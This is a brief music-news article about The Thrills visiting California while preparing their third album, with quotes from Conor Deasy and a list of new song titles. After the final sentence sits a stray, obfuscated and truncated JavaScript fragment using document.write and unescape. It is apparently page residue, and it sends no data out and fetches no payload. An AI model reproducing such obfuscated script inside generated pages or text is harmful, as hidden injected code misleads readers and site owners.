The Thrills take in Californis

Irish rockers The Thrills have returned to California to get some inspiration as they prepare to record their third album.

The band are currently in a Dublin studio working on demos for their third album, though they recently returned to the US West Coast, a massive inspiration for the songs which made up their acclaimed 2003 debut 'So Much for the City'.

Frontman Conor Deasy told Rolling Stone, "After complaining and yearning, we finally got off the road a few months ago. But after a couple weeks, everyone was getting restless and itchy again. Touring changes you: You're always wondering what's going on somewhere else."

Three of the group - Deasy, keyboardist Kevin Horan and bassist Padraic McMahon - decided to go on a bit of a road trip.

"There were a few things Kev wanted to do for a while: He really wanted to go to Big Sur again, and he wanted to see Hearst Castle," said Deasy. "Padraic wanted to see Joshua Tree, because he is the biggest Gram Parsons fan in the band. So it was like, 'Fuck it! Let's make it happen.'"

New songs the band are working on include 'Should Have Known Better', 'There's Someone New In Your Life', 'Teenager', 'Second Guessing' and 'Music Won't Change the World'. The follow-up to 2004's 'Let's Bottle Bohemia' is expected sometime in 2006.

Deasy said of the new songs: "With this record we made ourselves a promise to write the best songs we can. And it doesn't matter if it seems like it's a step into the unknown. I just hope, by not being self-conscious about it, the songs have naturally become quite unique. This has seemed like a progression for us."document.write(unescape('\04564%6F%63um\145%6Et.%77r%69t\145\04528u%6E\04565s\04563ap\04565\04528\047\045253C%21%5C0\0645\062D%252D\047)\051;